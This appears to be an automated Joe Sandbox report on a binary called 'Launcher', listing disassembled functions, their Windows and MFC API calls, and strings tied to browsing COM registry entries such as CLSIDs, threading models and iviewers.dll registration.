Similarity

API ID: MessageSend$#6195$#1143IconLoad$#1662#2644#6211lstrcmp
String ID: All HKEY_CLASSES_ROOT\APPID Entries$All HKEY_CLASSES_ROOT\Component Categories Entries$Application IDs$CLSID\%s$Component Categories$DefaultIcon$InprocHandler$InprocHandler32$InprocServer$InprocServer32$Interfaces$LocalServer$LocalServer32$No CLSID available.$Type Libraries
API String ID: 3415864282-4228781962
Opcode ID: 5212b289fb0e4ea10df026081e6f73dd826e7b35fd4c381f64c5c73648aa97a2
Instruction ID: e9e78dcf3b830e846a50ef23dc5b81bf15a2c4301349f98a1cacbaf132f58090
Opcode Fuzzy Hash: 5212b289fb0e4ea10df026081e6f73dd826e7b35fd4c381f64c5c73648aa97a2
Instruction Fuzzy Hash: 0AE1D371A40215BBEB60AF30CC4AFAA377BEF45710F0145B8F90DAB192DF7599448B68

Function 0066F616 Relevance: 110.7, APIs: 42, Strings: 21, Instructions: 447
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 0066F620
#540.MFC42U(0000025C,0066DF5F), ref: 0066F637
StringFromGUID2.OLE32(?,?,00000028,0000025C,0066DF5F), ref: 0066F64D
SendMessageW.USER32(?,0000014D,000000FF,None), ref: 0066F669
#861.MFC42U(?), ref: 0066F6B5
#6195.MFC42U(?,?,?,?,?), ref: 0066F705
#3087.MFC42U(0000008B,00000001,?,?,?,?,?), ref: 0066F73F
#2634.MFC42U(0000008B,00000001,?,?,?,?,?), ref: 0066F746
#861.MFC42U(?,?,0000008B,00000001,?,?,?,?,?), ref: 0066F790
#861.MFC42U(?,?,?,?,?,?,0000008B,00000001,?,?,?,?,?), ref: 0066F7DE
#2634.MFC42U(00000000,?,?,?,?,?,?,0000008B,00000001,?,?,?,?,?), ref: 0066F7EB
#861.MFC42U(?,006621A0,?,00000100,?,?,?,?,?), ref: 0066F837
#861.MFC42U(006621A0,006621A0,?,00000100,?,?,?,?,?), ref: 0066F851
#2634.MFC42U(00000000,006621A0,006621A0,?,00000100,?,?,?,?,?), ref: 0066F85E
lstrcmpiW.KERNEL32(?,BOTH,?,?,00000000,006621A0,006621A0,?,00000100,?,?,?,?,?), ref: 0066F8AA
lstrcmpiW.KERNEL32(?,FREE,?,?,00000000,006621A0,006621A0,?,00000100,?,?,?,?,?), ref: 0066F8C7
lstrcmpiW.KERNEL32(?,APARTMENT,?,?,00000000,006621A0,006621A0,?,00000100,?,?,?,?,?), ref: 0066F8E4
lstrcmpiW.KERNEL32(?,NEUTRAL,?,?,00000000,006621A0,006621A0,?,00000100,?,?,?,?,?), ref: 0066F901
SendMessageW.USER32(?,0000014D,000000FF,None), ref: 0066F939
#861.MFC42U(?,006621A0,?,00000100,?,?,?,?,?), ref: 0066F9DD
#2756.MFC42U(msjava.dll,?,006621A0,?,00000100,?,?,?,?,?), ref: 0066F9E9
#2756.MFC42U(MSJAVA.DLL,msjava.dll,?,006621A0,?,00000100,?,?,?,?,?), ref: 0066F9FA
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0066FA13
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 0066FA2A
#861.MFC42U(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0066FA7D
#2634.MFC42U(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0066FA97
lstrcmpiW.KERNEL32(?,BOTH,?,?,?,00000000), ref: 0066FAE3
lstrcmpiW.KERNEL32(?,FREE,?,?,?,00000000), ref: 0066FB00
lstrcmpiW.KERNEL32(?,APARTMENT,?,?,?,00000000), ref: 0066FB1D
lstrcmpiW.KERNEL32(?,NEUTRAL,?,?,?,00000000), ref: 0066FB3A
SendMessageW.USER32(?,0000014D,000000FF,None), ref: 0066FB72
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 0066FBBF
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0066FBD8
#861.MFC42U(006621A0,?,?,?,?,?,?,?,00000000), ref: 0066FBEC
#3087.MFC42U(00001FA5,006621A0,?,?,?,?,?,?,?,00000000), ref: 0066FBF8
#2634.MFC42U(00000000,00001FA5,006621A0,?,?,?,?,?,?,?,00000000), ref: 0066FC00
#3087.MFC42U(0000009C,00000000,00001FA5,006621A0,?,?,?,?,?,?,?,00000000), ref: 0066FC0C
#2634.MFC42U(00000000,0000009C,00000000,00001FA5,006621A0,?,?,?,?,?,?,?,00000000), ref: 0066FC14
#2634.MFC42U(00000001,00000000,0000009C,00000000,00001FA5,006621A0,?,?,?,?,?,?,?,00000000), ref: 0066FC21
#2634.MFC42U(00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0,?,?,?,?,?,?,?,00000000), ref: 0066FC2E
#6330.MFC42U(00000000,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0,?,?,?,?,?,?,?,00000000), ref: 0066FC45
#800.MFC42U(00000000,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0,?,?,?,?,?,?,?,00000000), ref: 0066FC50

Strings

LocalService, xrefs: 0066F764, 0066F7B2
NEUTRAL, xrefs: 0066F8F5, 0066FB2E
APARTMENT, xrefs: 0066F8D8, 0066FB11
InProcServer32, xrefs: 0066F9AF, 0066FA59, 0066FAB9
LocalServer32, xrefs: 0066F95D
TreatAs, xrefs: 0066F6D7
AppID, xrefs: 0066F687
Neutral, xrefs: 0066F911, 0066FB4A
DllSurrogate, xrefs: 0066FB90
JavaClass, xrefs: 0066FA54
msjava.dll, xrefs: 0066F9E2
ServiceParameters, xrefs: 0066F7AD
Free, xrefs: 0066F8D1, 0066FB0A
FREE, xrefs: 0066F8BB, 0066FAF4
BOTH, xrefs: 0066F89E, 0066FAD7
None, xrefs: 0066F657, 0066F920, 0066F927, 0066FB59, 0066FB60
Apartment, xrefs: 0066F8EE, 0066FB27
ThreadingModel, xrefs: 0066F87B, 0066FAB4
InProcHandler32, xrefs: 0066F810, 0066F880
MSJAVA.DLL, xrefs: 0066F9F3
Both, xrefs: 0066F8B4, 0066FAED

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2634#861lstrcmpi$MessageSend$#3087$#2756$#540#6195#6330#800FromH_prolog3_String
String ID: APARTMENT$Apartment$AppID$BOTH$Both$DllSurrogate$FREE$Free$InProcHandler32$InProcServer32$JavaClass$LocalServer32$LocalService$MSJAVA.DLL$NEUTRAL$Neutral$None$ServiceParameters$ThreadingModel$TreatAs$msjava.dll
API String ID: 3203418238-4284008715
Opcode ID: cbfd7791027747473e1bd2e6b1f2c7343d90d2e3d63c6e736bbbc57e0847898d
Instruction ID: 21b5ac9cd98f482abbfc46e70b9ffb655c9a4115fb51790162247187207e1c2a
Opcode Fuzzy Hash: cbfd7791027747473e1bd2e6b1f2c7343d90d2e3d63c6e736bbbc57e0847898d
Instruction Fuzzy Hash: 14F1C531640319E7DB11EF20CD8AFEA377BAF15700F4106F9B909AB291DBB19A488B54

Function 0066BB96 Relevance: 100.0, APIs: 46, Strings: 11, Instructions: 246
registrylibrarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 0066BBA0
#540.MFC42U(00000A30,00671EC1,00000000,?,00000001), ref: 0066BBB4
#4155.MFC42U(00000004,00000A30,00671EC1,00000000,?,00000001), ref: 0066BBC6
StringFromGUID2.OLE32(00661980,?), ref: 0066BBEB
wsprintfW.USER32 ref: 0066BC04
RegQueryValueW.ADVAPI32(80000000,?,?,?), ref: 0066BC27
#3516.MFC42U(?,Version,00000000), ref: 0066BC42
#540.MFC42U(00000004,00000A30,00671EC1,00000000,?,00000001), ref: 0066BC56
#540.MFC42U(00000004,00000A30,00671EC1,00000000,?,00000001), ref: 0066BC64
GetModuleFileNameW.KERNEL32(00000000,?,00000208,00000004,00000A30,00671EC1,00000000,?,00000001), ref: 0066BC7A
wcsrchr.MSVCRT ref: 0066BC92
lstrcpyW.KERNEL32(-00000002,IVIEWERS.DLL), ref: 0066BCA3
#538.MFC42U(?), ref: 0066BCB6
#4155.MFC42U(00000012), ref: 0066BCD2
#4155.MFC42U(00000013,00000012), ref: 0066BCDF
#940.MFC42U(?,00000013,00000012), ref: 0066BCF1
#4155.MFC42U(00000015,?,00000013,00000012), ref: 0066BCFE
#940.MFC42U(?,00000015,?,00000013,00000012), ref: 0066BD10
#1197.MFC42U(?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BD1F
#355.MFC42U(00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BD4B
#2507.MFC42U(00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BD5A
#3494.MFC42U(?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BD74
#858.MFC42U(00000000,?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BD84
#800.MFC42U(00000000,?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BD8F
#800.MFC42U(00000000,?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BD9E
#641.MFC42U(00000000,?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BDA9
LoadLibraryW.KERNEL32(?,?), ref: 0066BDB4
GetProcAddress.KERNEL32(00000000,DllRegisterServer), ref: 0066BDCB
#800.MFC42U(00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BDF3
#641.MFC42U(00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BDFE
#4155.MFC42U(00000014), ref: 0066BE11
#4155.MFC42U(00000013,00000014), ref: 0066BE1E
#940.MFC42U(?,00000013,00000014), ref: 0066BE30
#1197.MFC42U(?,00000000,00000000,?,00000013,00000014), ref: 0066BE3F
FreeLibrary.KERNEL32(00000000,?,00000000,00000000,?,00000013,00000014), ref: 0066BE4B
RegOpenKeyExW.ADVAPI32(80000000,Interface,00000000,000F003F,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 0066BE69
StringFromGUID2.OLE32(00669E6C,?,00000031), ref: 0066BE84
StringFromGUID2.OLE32(00669E7C,?,00000031,?,?,00000000,IClientSecurity), ref: 0066BEAA
StringFromGUID2.OLE32(00669E8C,?,00000031,?,?,00000000,IServerSecurity), ref: 0066BED0
StringFromGUID2.OLE32(00669E5C,?,00000031,?,?,00000000,IMallocSpy), ref: 0066BEF6
RegCloseKey.ADVAPI32(?,?,?,00000000,IMultiQI), ref: 0066BF18
#6398.MFC42U(?,Version,0000003D), ref: 0066BF34
#800.MFC42U(?,Version,0000003D), ref: 0066BF3F
#800.MFC42U(?,Version,0000003D), ref: 0066BF4A
#800.MFC42U(?,Version,0000003D), ref: 0066BF55
#800.MFC42U(?,Version,0000003D), ref: 0066BF62

Strings

IMallocSpy, xrefs: 0066BED6
DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|, xrefs: 0066BD39
iviewers.dll, xrefs: 0066BD45
IClientSecurity, xrefs: 0066BE8A
IMultiQI, xrefs: 0066BEFC
Component Categories\%s, xrefs: 0066BBFE
DllRegisterServer, xrefs: 0066BDC5
Interface, xrefs: 0066BE5F
IVIEWERS.DLL, xrefs: 0066BC9A
Version, xrefs: 0066BC32, 0066BF24
IServerSecurity, xrefs: 0066BEB0

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#4155$FromString$#540#940$#1197#641Library$#2507#3494#3516#355#538#6398#858AddressCloseFileFreeH_prolog3_LoadModuleNameOpenProcQueryValuelstrcpywcsrchrwsprintf
String ID: Component Categories\%s$DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|$DllRegisterServer$IClientSecurity$IMallocSpy$IMultiQI$IServerSecurity$IVIEWERS.DLL$Interface$Version$iviewers.dll
API String ID: 2887186624-2619698232
Opcode ID: 107691f1a21fd59d973a00cf790919fc269f2654764244e3b57b7a05fa08b1e3
Instruction ID: beb19dad828089a52a41b94c8ae9c28c60d1bae5878dbaa2d3803a1b03cea934
Opcode Fuzzy Hash: 107691f1a21fd59d973a00cf790919fc269f2654764244e3b57b7a05fa08b1e3
Instruction Fuzzy Hash: 5EA19F32A40318AADB61EB60CC56FDD777AAF1A700F1045A9F20AB6091DF715F89CF16

Function 00677A11 Relevance: 94.8, APIs: 33, Strings: 21, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CLSIDFromString.OLE32(00000000,?), ref: 00677A54

Strings

ole, xrefs: 00677B1F, 00677BDD
2prox.dll, xrefs: 00677BF6
32.dll, xrefs: 00677B38
InprocServer32, xrefs: 00677B04
Control, xrefs: 00677CA0
2.dll, xrefs: 00677C0C
CLSID\%s, xrefs: 00677A80
ToolboxBitmap32, xrefs: 00677E8F
%s\NotInsertable, xrefs: 00677D91
aut32.dll, xrefs: 00677B90
InprocServer, xrefs: 00677BC6
ProgID, xrefs: 00677D6E
(, xrefs: 00677D53
Ole1Class, xrefs: 00677C49
Insertable, xrefs: 00677CF7
cnv32.dll, xrefs: 00677B7A
2pr32.dll, xrefs: 00677B64
%s\Insertable, xrefs: 00677E02
2disp.dll, xrefs: 00677C22
prx32.dll, xrefs: 00677B4E
ToolboxBitmap, xrefs: 00677EB2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: FromString
String ID: %s\Insertable$%s\NotInsertable$($2.dll$2disp.dll$2pr32.dll$2prox.dll$32.dll$CLSID\%s$Control$InprocServer$InprocServer32$Insertable$Ole1Class$ProgID$ToolboxBitmap$ToolboxBitmap32$aut32.dll$cnv32.dll$ole$prx32.dll
API String ID: 1694596556-344945948
Opcode ID: 0239e0186e1f8d5529948de8cbfde6d8e202c8e919db5b44b259a54d924f15b1
Instruction ID: 3eac9a99e6db90085c06f13c5e3f221a88f9743f5d2bade28d43359111ef8814
Opcode Fuzzy Hash: 0239e0186e1f8d5529948de8cbfde6d8e202c8e919db5b44b259a54d924f15b1
Instruction Fuzzy Hash: 7BD114B1A4421DEFDB20DF60DC8DBDAB7BABB14305F0046E5E519E2261DB709E859F20

Function 0067020E Relevance: 81.2, APIs: 54, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#3087.MFC42U(000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0067024A
#6211.MFC42U(000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 00670251
#3087.MFC42U(00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0067025E
#6211.MFC42U(00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 00670265
#3087.MFC42U(000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 00670272
#6211.MFC42U(000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 00670279
#3087.MFC42U(0000008B,00000005,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C), ref: 00670289
#6211.MFC42U(0000008B,00000005,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C), ref: 00670290
#3087.MFC42U(000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001), ref: 0067029D
#6211.MFC42U(000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001), ref: 006702A4
#3087.MFC42U(000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41), ref: 006702B1
#6211.MFC42U(000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41), ref: 006702B8
#3087.MFC42U(000000B5,00000000,000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000), ref: 006702C5
#6211.MFC42U(000000B5,00000000,000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000), ref: 006702CC
#3087.MFC42U(00001FA5,00000000,000000B5,00000000,000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000), ref: 006702D9
#6211.MFC42U(00001FA5,00000000,000000B5,00000000,000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000), ref: 006702E0
#3087.MFC42U(000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 006702F1
#6211.MFC42U(000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 006702F8
#3087.MFC42U(00000089,00000005,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 00670308
#6211.MFC42U(00000089,00000005,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0067030F
#3087.MFC42U(000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 0067031C
#6211.MFC42U(000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 00670323
#3087.MFC42U(0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C), ref: 00670330
#6211.MFC42U(0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C), ref: 00670337
#3087.MFC42U(000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 00670348
#6211.MFC42U(000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0067034F
#3087.MFC42U(00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0067035C
#6211.MFC42U(00000089,00000000,000000B2,00000000,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 00670363
#3087.MFC42U(000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 00670374
#6211.MFC42U(000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0067037B
#3087.MFC42U(00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 00670388
#6211.MFC42U(00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,006621A0), ref: 0067038F
#3087.MFC42U(000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 0067039C
#6211.MFC42U(000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 006703A3
#3087.MFC42U(0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C), ref: 006703B0
#6211.MFC42U(0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001,00000000,0000009C), ref: 006703B7
#3087.MFC42U(000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001), ref: 006703C4
#6211.MFC42U(000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41,00000001,00000001), ref: 006703CB
#3087.MFC42U(000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41), ref: 006703D8
#6211.MFC42U(000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,0066FC41), ref: 006703DF
#3087.MFC42U(000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000), ref: 006703EC
#6211.MFC42U(000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000), ref: 006703F3
#3087.MFC42U(00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005), ref: 00670400
#6211.MFC42U(00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005), ref: 00670407
#3087.MFC42U(0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005), ref: 00670414
#6211.MFC42U(0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005), ref: 0067041B
#3087.MFC42U(000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005), ref: 00670431
#2634.MFC42U(000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005), ref: 00670438
#3087.MFC42U(00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000), ref: 00670445
#2634.MFC42U(00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000), ref: 0067044C
#3087.MFC42U(000000B5,00000000,00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000), ref: 00670459
#2634.MFC42U(000000B5,00000000,00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000), ref: 00670460
#3087.MFC42U(0000009C,00000000,000000B5,00000000,00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005), ref: 0067046D
#2634.MFC42U(0000009C,00000000,000000B5,00000000,00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005), ref: 00670474

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #3087$#6211$#2634
String ID:
API String ID: 3514023408-0
Opcode ID: 0f30161ca70ddb8dc4359ebfdb7fb503abc32e0800b3a8bbec82a548febed1e5
Instruction ID: 2c11436a1ab0cbc2a76045b8c6e20d3b40668c6a84192f4ca1ccf2c11e8bb6ff
Opcode Fuzzy Hash: 0f30161ca70ddb8dc4359ebfdb7fb503abc32e0800b3a8bbec82a548febed1e5
Instruction Fuzzy Hash: A0417850B8076066FD9932B5086BE3E249B4BDCB45F00C8AC710A5E2D7DE6F4E1946BF

Function 0066FCE0 Relevance: 49.1, APIs: 18, Strings: 10, Instructions: 108
windowlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#4704.MFC42U ref: 0066FCED
SendMessageW.USER32(?,00000143,00000000,None), ref: 0066FD06
SendMessageW.USER32(?,00000143,00000000,Both), ref: 0066FD19
SendMessageW.USER32(?,00000143,00000000,Free), ref: 0066FD2C
SendMessageW.USER32(?,00000143,00000000,Apartment), ref: 0066FD3F
SendMessageW.USER32(?,00000143,00000000,Neutral), ref: 0066FD52
SendMessageW.USER32(?,0000133E,00000000,?), ref: 0066FD84
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 0066FD9E
SendMessageW.USER32(?,0000133E,00000002,00000001), ref: 0066FDB8
#3087.MFC42U(0000008B,00000000), ref: 0066FDC6
#2634.MFC42U(0000008B,00000000), ref: 0066FDCD
#3087.MFC42U(000000A9,00000000,0000008B,00000000), ref: 0066FDDA
#2634.MFC42U(000000A9,00000000,0000008B,00000000), ref: 0066FDE1
#3087.MFC42U(000000AC,00000000,000000A9,00000000,0000008B,00000000), ref: 0066FDEE
#2634.MFC42U(000000AC,00000000,000000A9,00000000,0000008B,00000000), ref: 0066FDF5
LoadLibraryW.KERNEL32(OLE32.DLL,000000AC,00000000,000000A9,00000000,0000008B,00000000), ref: 0066FDFF
GetProcAddress.KERNEL32(00000000,CoRegisterSurrogate), ref: 0066FE11
FreeLibrary.KERNEL32(00000000), ref: 0066FE26

Strings

Local Server, xrefs: 0066FD8D
Free, xrefs: 0066FD1F
CoRegisterSurrogate, xrefs: 0066FE0B
OLE32.DLL, xrefs: 0066FDFA
Inproc Handler, xrefs: 0066FDA7
Apartment, xrefs: 0066FD32
None, xrefs: 0066FCF2
Neutral, xrefs: 0066FD45
Inproc Server, xrefs: 0066FD7D
Both, xrefs: 0066FD0C

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#2634#3087$Library$#4704AddressFreeLoadProc
String ID: Apartment$Both$CoRegisterSurrogate$Free$Inproc Handler$Inproc Server$Local Server$Neutral$None$OLE32.DLL
API String ID: 2746026577-3659237039
Opcode ID: a1407a59fe3a77505f6fb80b3eadf8d226f9272c98a22262349189bea5c5eb3c
Instruction ID: 15b79bd1fb100d814466a0a1299aa670cb9ff9332428f341fa7f4c0e1500828f
Opcode Fuzzy Hash: a1407a59fe3a77505f6fb80b3eadf8d226f9272c98a22262349189bea5c5eb3c
